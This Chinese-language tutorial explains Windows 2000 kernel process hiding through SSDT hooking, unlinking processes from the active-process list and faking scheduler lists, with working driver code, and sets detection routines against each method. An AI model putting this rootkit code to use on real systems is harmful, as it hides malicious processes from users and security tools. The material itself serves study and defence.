進程隱藏的實現


通過Hook SSDT (System Service Dispatch Table) 隱藏進程 
1.原理介紹: 
       Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應於一個數據結構,定義如下: 
typedef struct SystemServiceDescriptorTable 

    UINT    *ServiceTableBase; 
    UINT    *ServiceCounterTableBase; 
    UINT    NumberOfService; 
    UCHAR    *ParameterTableBase; 
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable; 
其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。 
我們的任務管理器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法: 
" PSAPI 
– EnumProcesses() 
" ToolHelp32 
– Process32First() 
- Process32Next() 
來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。 
2. Hook 
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。 
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97]; 
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress; 
在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的硬編碼: 
kd> u ZwQuerySystemInformation 
804011aa    b897000000      mov         eax,0x97 
804011af    8d542404        lea         edx,[esp+0x4] 
804011b3    cd2e            int         2e 
804011b5    c21000          ret         0x10 
所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如: 
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1); 
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]); 
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation; 
3.對NtQuerySystemInformation返回的數據進行刪改 
NtQuerySystemInformation的原型: 
NtQuerySystemInformation( 
        IN ULONG SystemInformationClass,   //查詢系統服務類型 
        IN PVOID SystemInformation,        //接收系統信息緩沖區 
        IN ULONG SystemInformationLength,   //接收信息緩沖區大小 
        OUT PULONG ReturnLength);       //實際接收到的大小 
NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等於5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。 
struct _SYSTEM_PROCESSES 

    ULONG NextEntryDelta;   //下一個進程信息的偏移量,如果為0表示無一個進程信息 
    ULONG ThreadCount;     //線程數量 
    ULONG Reserved[6];     // 
    LARGE_INTEGER CreateTime;      //創建進程的時間 
    LARGE_INTEGER UserTime;         //進程中所有線程在用戶模式運行時間的總和 
    LARGE_INTEGER KernelTime;      //進程中所有線程在內核模式運行時間的總和 
    UNICODE_STRING ProcessName;     //進程的名字 
    KPRIORITY BasePriority;         //線程的缺省優先級 
    ULONG ProcessId;                //進程ID號 
    ULONG InheritedFromProcessId; //繼承語柄的進程ID號 
    ULONG HandleCount;              //進程打開的語柄數量   
    ULONG Reserved2[2];             // 
    VM_COUNTERS VmCounters;         //虛擬內存的使用情況統計 
    IO_COUNTERS IoCounters;         //IO操作的統計,Only For 2000 
    struct _SYSTEM_THREADS Threads[1]; //描述進程中各線程的數組 
}; 
當NextEntryDelta域等於0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。

--------------------------------------------------Xfocus上SoBeIt提出了繞過內核調度鏈表進程檢測。詳情可以參見原文:

 

4. 核心實現 
//系統服務表入口地址 
extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 

    …… 
    __asm{ 
        mov eax, cr0 
        mov CR0VALUE, eax 
        and eax, 0fffeffffh //DisableWriteProtect 
        mov cr0, eax 
    } 
    //取得原來ZwQuerySystemInformation的入口地址 
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] ); 
    //Hook 
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc; 
    //EnableWriteProtect 
    __asm 
    { 
        mov eax, CR0VALUE 
        mov cr0, eax 
    } 
    …… 
    return STATUS_SUCCESS; 

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) 

    …… 
    //UnHook恢復系統服務的原始入口地址 
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation; 
    …… 

NTSTATUS HookFunc( 
        IN ULONG SystemInformationClass, 
        IN PVOID SystemInformation, 
        IN ULONG SystemInformationLength, 
        OUT PULONG ReturnLength) 

    NTSTATUS rc; 
    struct _SYSTEM_PROCESSES *curr; 
    // 保存上一個進程信息的指針 
    struct _SYSTEM_PROCESSES *prev = NULL; 
    //調用原函數 
    rc = (RealZwQuerySystemInformation) ( 
        SystemInformationClass, 
        SystemInformation, 
        SystemInformationLength, ReturnLength); 
    if(NT_SUCCESS(rc)) 
    { 
if(5 == SystemInformationClass) 
//如果系統查詢類型是SystemProcessesAndThreadsInformation 
        { 
            curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
            //加第一個偏移量得到第一個system進程的信息首地址 
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
            while(curr) 
            { 
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0) 
                { 
                    //找到要隱藏的進程 
                    if(prev) 
                    { 
                        if(curr->NextEntryDelta) 
                        { 
                            //要刪除的信息在中間 
                            prev->NextEntryDelta += curr->NextEntryDelta; 
                        } 
                        else 
                        { 
                            //要刪除的信息在末尾 
                            prev->NextEntryDelta = 0; 
                        } 
                    } 
                    else 
                    { 
                        if(curr->NextEntryDelta) 
                        { 
                            //要刪除的信息在開頭 
                            (char *)SystemInformation += curr->NextEntryDelta; 
                        } 
                        else 
                        { 
                            SystemInformation = NULL; 
                        } 
                    } 
                    //如果鏈下一個還有其他的進程信息,指針往后移 
                    if(curr->NextEntryDelta) 
((char*)curr+=curr->NextEntryDelta);                    else 
                    { 
                        curr = NULL; 
                        break; 
                    } 
                } 
                if(curr != NULL) 
                { 
                    //把當前指針設置成前一個指針,當前指針后移 
                    prev = curr; 
                    if(curr->NextEntryDelta) 
((char*)curr+=curr->NextEntryDelta); 
                    else curr = NULL; 
                } 
            } // end while(curr) 
        } 
    } 
    return rc; 

通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用, 
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen, 
NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。

 

 

枚舉和修改活動進程鏈表來檢測和隱藏進程 
1. 介紹EPROCESS塊(進程執行塊) 
每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。 
2. 查看EPROCESS結構 
kd> !processfields 
!processfields 
EPROCESS structure offsets: 
    Pcb:                               0x0 
    ExitStatus:                        0x6c 
    LockEvent:                         0x70 
    LockCount:                         0x80 
    CreateTime:                        0x88 
    ExitTime:                          0x90 
    LockOwner:                         0x98 
    UniqueProcessId:                   0x9c 
    ActiveProcessLinks:                0xa0 
    QuotaPeakPoolUsage[0]:             0xa8 
    QuotaPoolUsage[0]:                 0xb0 
    PagefileUsage:                     0xb8 
    CommitCharge:                      0xbc 
    PeakPagefileUsage:                 0xc0 
    PeakVirtualSize:                   0xc4 
    VirtualSize:                       0xc8 
    Vm:                                0xd0 
    DebugPort:                         0x120 
    ExceptionPort:                     0x124 
    ObjectTable:                       0x128 
    Token:                             0x12c 
    WorkingSetLock:                    0x130 
    WorkingSetPage:                    0x150 
    ProcessOutswapEnabled:             0x154 
    ProcessOutswapped:                 0x155 
    AddressSpaceInitialized:           0x156 
    AddressSpaceDeleted:               0x157 
    AddressCreationLock:               0x158 
    ForkInProgress:                    0x17c 
    VmOperation:                       0x180 
    VmOperationEvent:                  0x184 
    PageDirectoryPte:                  0x1f0 
    LastFaultCount:                    0x18c 
    VadRoot:                           0x194 
    VadHint:                           0x198 
    CloneRoot:                         0x19c 
    NumberOfPrivatePages:              0x1a0 
    NumberOfLockedPages:               0x1a4 
    ForkWasSuccessful:                 0x182 
    ExitProcessCalled:                 0x1aa 
    CreateProcessReported:             0x1ab 
    SectionHandle:                     0x1ac 
    Peb:                               0x1b0 
    SectionBaseAddress:                0x1b4 
    QuotaBlock:                        0x1b8 
    LastThreadExitStatus:              0x1bc 
    WorkingSetWatch:                   0x1c0 
    InheritedFromUniqueProcessId:      0x1c8 
    GrantedAccess:                     0x1cc 
    DefaultHardErrorProcessing         0x1d0 
    LdtInformation:                    0x1d4 
    VadFreeHint:                       0x1d8 
    VdmObjects:                        0x1dc 
    DeviceMap:                         0x1e0 
    ImageFileName[0]:                  0x1fc 
    VmTrimFaultValue:                  0x20c 
    Win32Process:                      0x214 
Win32WindowStation:                0x1c4 
3. 什么是活動進程鏈表 
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。 
在PspCreateProcess內核API中能清晰的找到: 
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks); 
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。 
在PspExitProcess內核API中能清晰的找到: 
RemoveEntryList(&Process->ActiveProcessLinks); 
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。 
4. 進程枚舉檢測Hook SSDT隱藏的進程。 
    事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead並沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值) 
kd> dd PsActiveProcessHead L 2 
dd PsActiveProcessHead L 2 
8046e460 81829780 ff2f4c80 
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460; 
void DisplayList() 

PLIST_ENTRY List = PsActiveProcessHead->Blink; 
while( List != PsActiveProcessHead ) 

        char* name = ((char*)List-0xa0)+0x1fc; 
        DbgPrint("name = %s\n",name); 
        List=List->Blink;              


首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的並不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,並且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。 
5.       解決硬編碼問題。 
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這 
值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。 
    ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的. 
kd> dd PsInitialSystemProcess L 1 
dd PsInitialSystemProcess L 1 
8046e450 818296e0 
kd> !process 818296e0 0 
!process 818296e0 0 
PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000 
    DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141. 
Image: System 
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS. 
kd> dd 818296e0+0xa0 L 2 
dd 818296e0+0xa0 L 2 
81829780 814d1a00 8046e460 
上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.

http://www.xfocus.net/articles/200404/693.html

-------------------------------------

6. 刪除活動進程鏈表實現進程隱藏

由於Windows是基於線程調度的。所以如果我們把要隱藏的進程的EPROCESS塊從活動進程鏈上摘除,就能有效的繞過基於通過活動進程鏈表檢測進程的防御系統。因為是以線程為基本單位進行調度,所以摘除過后並不影響隱藏進程的線程調度。

void DelProcessList()

{

PLIST_ENTRY List = PsActiveProcessHead->Blink;

while( List != PsActiveProcessHead )

{

char* name = ((char*)List-0xa0)+0x1fc;

if ( !_stricmp(name,"winlogon.exe") )

{

DbgPrint("remove %s \n",name);

RemoveEntryList(List);

}

List=List->Blink;

}

}

首先和上面的程序一樣得到PsActiveProcessHead 頭的后面第一個EPROCESS塊。然后和我們要隱藏的進程名字進行對比,如果不是指針延鏈下移動。如果是就把EPROCESS塊從活動進程鏈上摘除。一直到遍歷完一次活動進程的雙向鏈表。當摘除指定進程的EPROCESS塊后可以發現任務管理器里面的指定的進程消失了,然后又用上面的基於活動進程鏈表檢測進程的程序一樣的發現不到隱藏的進程。

------------------------------

基於線程調度鏈表的檢測和隱藏技術 
1.       什么是ETHREAD和KTHREAD塊 
Windows2000是由執行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統空 
間,進程環境塊(TEB)除外。ETHREAD塊中的第一個結構體就是內核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內核需要訪問的信息。這些信息用於執行線程的調度和同步正在運行的線程。 
kd> !kthread 
struct   _KTHREAD (sizeof=432) 
+000 struct   _DISPATCHER_HEADER Header 
+010 struct   _LIST_ENTRY MutantListHead 
+018 void     *InitialStack 
+01c void     *StackLimit 
+020 void     *Teb 
+024 void     *TlsArray 
+028 void     *KernelStack 
+02c byte     DebugActive 
+02d byte     State 
+02e byte     Alerted[2] 
+030 byte     Iopl 
+031 byte     NpxState 
+032 char     Saturation 
+033 char     Priority 
+034 struct   _KAPC_STATE ApcState 
+034    struct   _LIST_ENTRY ApcListHead[2] 
+044    struct   _KPROCESS *Process 
+04c uint32   ContextSwitches 
+050 int32    WaitStatus 
+054 byte     WaitIrql 
+055 char     WaitMode 
+056 byte     WaitNext 
+057 byte     WaitReason 
+058 struct   _KWAIT_BLOCK *WaitBlockList 
+05c struct   _LIST_ENTRY WaitListEntry 
+064 uint32   WaitTime 
+068 char     BasePriority 
+069 byte     DecrementCount 
+06a char     PriorityDecrement 
+06b char     Quantum 
+06c struct   _KWAIT_BLOCK WaitBlock[4] 
+0cc void     *LegoData 
+0d0 uint32   KernelApcDisable 
+0d4 uint32   UserAffinity 
+0d8 byte     SystemAffinityActive 
+0d9 byte     PowerState 
+0da byte     NpxIrql 
+0db byte     Pad[1] 
+0dc void     *ServiceTable 
+0e0 struct   _KQUEUE *Queue 
+0e4 uint32   ApcQueueLock 
+0e8 struct _KTIMER Timer 
+110 struct   _LIST_ENTRY QueueListEntry 
+118 uint32   Affinity 
+11c byte     Preempted 
+11d byte     ProcessReadyQueue 
+11e byte     KernelStackResident 
+11f byte     NextProcessor 
+120 void     *CallbackStack 
+124 void     *Win32Thread 
+128 struct   _KTRAP_FRAME *TrapFrame 
+12c struct   _KAPC_STATE *ApcStatePointer[2] 
+134 char     PreviousMode 
+135 byte     EnableStackSwap 
+136 byte     LargeStack 
+137 byte     ResourceIndex 
+138 uint32   KernelTime 
+13c uint32   UserTime 
+140 struct   _KAPC_STATE SavedApcState 
+158 byte     Alertable 
+159 byte     ApcStateIndex 
+15a byte     ApcQueueable 
+15b byte     AutoAlignment 
+15c void     *StackBase 
+160 struct   _KAPC SuspendApc 
+190 struct   _KSEMAPHORE SuspendSemaphore 
+1a4 struct   _LIST_ENTRY ThreadListEntry 
+1ac char     FreezeCount 
+1ad char     SuspendCount 
+1ae byte     IdealProcessor 
+1af byte     DisableBoost 
在偏移0x5c處有一個WaitListEntry成員,這個就是用來鏈接到線程調度鏈表的。在偏移0x34處有一個ApcState成員結構,在ApcState中的Process域就是指向當前線程關聯的進程的KPROCESS塊,由於KPROCESS塊是EPROCESS塊的第一個元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當前線程的進程的名字,ID號等。 
2.       線程調度 
在windows系統中,線程調度主要分成三條主要的調度鏈表。分別是KiWaitInListHead, 
KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當線程獲得CPU執行的時候,系統分配一個時間片給線程,當發生一次時鍾中斷就從分配的時間片上減去一個時鍾中斷的值,如果這個值小於零了也就是時間片用完了,那么這個線程根據其優先級載入到相應的就緒隊列末尾。KiDispatcherReadyListHead是一個數組鏈的頭部,在windows 2000中它包含有32個隊列,分別對應線程的32個優先級。如果線程因為同步,或者是對外設請求,那么阻塞線程,讓出CPU的所有權,加如到阻塞隊列里面去。CPU從就緒隊列里面,按照優先權的前后,重新調度新的線程的執行。當阻塞隊列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊列里面等待執行。 
3.       通過線程調度鏈表進行隱藏進程的檢測 
void DisplayList(PLIST_ENTRY ListHead) 

    PLIST_ENTRY List = ListHead->Flink; 
    if ( List == ListHead ) 
    { 
    // DbgPrint("return\n"); 
        return; 
    } 
    PLIST_ENTRY NextList = List; 
    while ( NextList != ListHead ) 
    { 
        PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry); 
        PKPROCESS Process = Thread->ApcState.Process; 
        PEPROCESS pEprocess = (PEPROCESS)Process; 
        DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName); 
        NextList = NextList->Flink; 
    } 

以上是對一條鏈進行進程枚舉。所以我們必須找到KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead的地址,由於他們都沒有被ntoskrnl.exe導出來,所以只有通過硬編碼的辦法給他們賦值。通過內核調試器,能找到(windows2000 sp4): 
PLIST_ENTRY KiWaitInListHead =          (PLIST_ENTRY)0x80482258; 
PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0; 
PLIST_ENTRY KiWaitOutListhead =         (PLIST_ENTRY)0x80482808; 
遍歷所有的線程調度鏈表。 
for ( i =0; i<32 ;i++ ) 

    DisplayList(KiDispatcherReadyListHead+i); 

DisplayList(KiWaitInListHead); 
DisplayList(KiWaitOutListhead); 
通過上面的那一小段核心代碼就能把刪除活動進程鏈表的隱藏進程給查出來。也可以改寫一個友好一點的驅動,加入IOCTL,得到的進程信息把打印在DbgView中把它返回給Ring3的應用程序,然后應用程序對返回的數據進行處理,和Ring3級由PSAPI得到的進程對比,然后判斷是不是有隱藏的進程。

--------------------------------------

 

 

-----------------------------

由於現在的基於線程調度的檢測系統都是通過內核調試器得硬編碼來枚舉所有的調度線程的,所以我們完全可以自己創造一個那三個調度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由於線程調度的時候會用到KiFindReadyThread等內核API,在KiFindReadyThread里面又會去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。

kd> u KiFindReadyThread+0x48

nt!KiFindReadyThread+0x48:

804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]

很明顯我們可以在機器碼中看到e0224880,由於它是在內存中以byte序列顯示的轉換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個鏈頭。使其系統以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個鏈表頭的還有一些內核API,所以必須找到他們在機器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統調度就會出錯.系統中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。

申請新的表頭空間:

pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool \

(NonPagedPool,sizeof(LIST_ENTRY)); 
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool \

(NonPagedPool, sizeof(LIST_ENTRY));

pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool \

(NonPagedPool, 32 * sizeof(LIST_ENTRY));

下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。

新調度鏈表的表頭替換:

InitializeListHead(pNewKiWaitInListHead);

把原來的系統鏈表頭摘除,把新的接上去:

pFirstEntry = pKiWaitInListHead-&gt;Flink; 
pLastEntry = pKiWaitInListHead-&gt;Blink; 
pNewKiWaitInListHead-&gt;Flink = pFirstEntry; 
pNewKiWaitInListHead-&gt;Blink = pLastEntry; 
pFirstEntry-&gt;Blink = pNewKiWaitInListHead; 
pLastEntry-&gt;Flink = pNewKiWaitInListHead;

剩下的就是在原來的線程調度鏈表上做文章了使其基於線程調度檢測系統看不出什么異端.

for(;;)

{

InitializeListHead(pKiWaitInListHead);

for(pEntry = pNewKiWaitInListHead-&gt;Flink;

pEntry && pEntry != pNewKiWaitInListHead;

pEntry = pEntry-&gt;Flink)

{

pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);

pEPROCESS = (PEPROCESS)(pETHREAD-&gt;Tcb.ApcState.Process);

PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID == 0x8)

continue;

pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));

InsertHeadList(pKiWaitInListHead, &pFakeETHREAD-&gt;WaitListEntry);

}

...休息一段時間

}

首先每過一小段時間就把原來的線程調度鏈表清空,然后遍歷當前的線程調度鏈,判斷鏈中的每一個KPROCESS塊是不是要屬於要隱藏的進程線程,如果是就跳過,不是就自己構造一個ETHREAD塊把當前的信息拷貝過去,然后把自己構造的ETHREAD塊加入到原來的調度鏈表中。為什么要自己構造一個ETHREAD?其原因主要有2個,其一為了使檢測系統看起來更可信,如果僅僅清空原來的線程調度鏈表那么檢測系統將查不出來任何的線程和進程信息,

很明顯,這無疑不打自招的說,系統里面已經有東西了。其二,如果把自己構造的ETHREAD塊掛接在原調度鏈表中,檢測系統會訪問掛在原來調度鏈表上的ETHREAD塊里面的成員,如果不自己構造一個和真實ETHREAD塊重要信息一樣的塊,那么檢測系統很有可能出現非法訪問,然后就boom蘭屏了。

實際上所謂的繞過系統檢測僅僅是針對基於線程調度的檢測進程的防御系統而言的,其實系統依舊在進行線程調度,訪問的是我們新建的鏈表頭部。而檢測系統訪問的是原來的頭部,他后面的數據項是我們自己申請的,系統並不訪問。

5. 檢測繞過內核調度鏈表隱藏進程

一般情況下我們是通過內核調試器得到那三條鏈表的內核地址,然后進行枚舉。這就給隱藏者留下了機會,如上面所示。但是我們完全可以把上面那種隱藏進程檢測出來。我們也通過在內核函數中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經看見了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內核調度鏈表檢測辦法同時也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他們的相應的內核函數里面去取得地址。就算原地址被修改過,我們也能把修改過后的調度鏈表頭給找出來。所以欺騙就不行了。

-----------------------

Hook 內核函數(KiReadyThread)檢測進程 
1.       介紹通用Hook內核函數的方法
 
當我們要攔截目標函數的時候,只要修改原函數頭5個字節的機器代碼為一個JMP XXXXXXXX(XXXXXXXX是距自己的Hook函數的偏移量)就行了。並且保存原來修改前的5個字節。在跳入原函數時,恢復那5個字節即可。 
char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9對應Jmp偏移量指令 
*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量 
memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼 
memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個命令為一個跳轉指令 
在系統內核級中,MS的很多信息都沒公開,包括函數的參數數目,每個參數的類型等。在系統內核中,訪問了大量的寄存器,而很多寄存器的值,是上層調用者提供的。如果值改變系統就會變得不穩定。很可能出現不可想象的后果。另外有時候對需要Hook的函數的參數不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導致藍屏。所以Hook的最佳原則是在自己的Hook函數中呼叫原函數的時候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數中不會出錯。一般我們自己的Hook的函數都是寫在C文件里面的。例如Hook的目標函數KiReadyThread。那么一般就自己實現一個: 
MyKiReadyThread(...) 

    ...... 
    call KiReadyThread 
    ...... 

但是用C編譯器編譯出來的代碼會出現一個堆棧幀: 
Push ebp 
mov ebp,esp 
這就和我們的初衷不改變寄存器的數違背了。所以我們可以自己用匯編來實MyKiReadyThread。 
_MyKiReadyThread @0 proc 
    pushad      ;保存通用寄存器 
    call _cfunc@0 ;這里是在進入原來函數前進行的一些處理。 
    popad       ;恢復通用寄存器 
    push eax 
    mov eax,[esp+4] ;得到系統在call 目標函數時入棧的返回地址。 
    mov ds:_OrgRet,eax ;保存在一個臨時變量中 
    pop eax 
mov [esp],retaddr ;把目標函數的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續的處理 
    jmp _OrgDestFunction ;跳到原目標函數中 
retaddr: 
    pushad         ;原函數處理完后保存寄存器 
    call _HookDestFunction@0 ;再Hook 
    popad ;回復寄存器 
    jmp ds:_OrgRet ;跳到系統調用目標函數的下一條指令。 
_MyKiReadyThread@0 endp 
在實現了Hook過后在當調用原來的函數時(jmp _OrgDestFunction),這個時候所以寄存器的值和堆棧信息和沒Hook的時候一樣。在返回到系統的時候(jmp ds:_OrgRet),這個時候的堆棧信息和寄存器的值和沒有Hook的時候也是一樣。就說是中間Hook層對下面和上面都是透明的。 
2.       檢測隱藏進程 
在線程調度搶占的的時候會調用KiReadyThread,它的原型為: 
VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread); 
在進入KiReadyThread時,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前線程的進程信息。KiReadyThread沒被ntosknrl.exe導出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。 
void cfunc (void) 

    ULONG PKHeader=0; 
    __asm 
    { 
        mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD參數 
    } 
    ResumeDestFunction(); //恢復頭5個字節 
    if ( PKHeader != 0 ) 
    { 
        DisplayName((PKTHREAD)PKHeader);   
    } 

cfun是Hook函數調用用來得到當前線程搶占的進程信息的。 
void DisplayName(PKTHREAD Thread) 

    PKPROCESS Process = Thread-&gt;ApcState.Process; 
    PEPROCESS pEprocess = (PEPROCESS)Process; 
    DbgPrint("ImageFileName = %s \n",pEprocess-&gt;ImageFileName); 

void HookDestFunction() //設置頭個字節為一個跳轉指令,跳到自己的函數中去 

    DisableWriteProtect(&orgcr0); 
    memcpy((char*)OrgDestFunction,JmpMyCode,5); 
    EnableWriteProtect(orgcr0); 

void ResumeDestFunction() //恢復頭5個字節 

    DisableWriteProtect(&orgcr0); 
    memcpy((char*)OrgDestFunction,OrgCode,5); 
    EnableWriteProtect(orgcr0); 

除了KiReadyThread其他還可以Hook其他內核函數,只有hook過后能得到線程或者是進程的ETHREAD或者是EPROCESS結構頭地址。其Hook的方法都是一樣的。Hook KiReadyThread基本原來說明了,詳細實現可以見我的另外一篇文章《內核級利用通用Hook函數方法檢測進程》。


免責聲明!

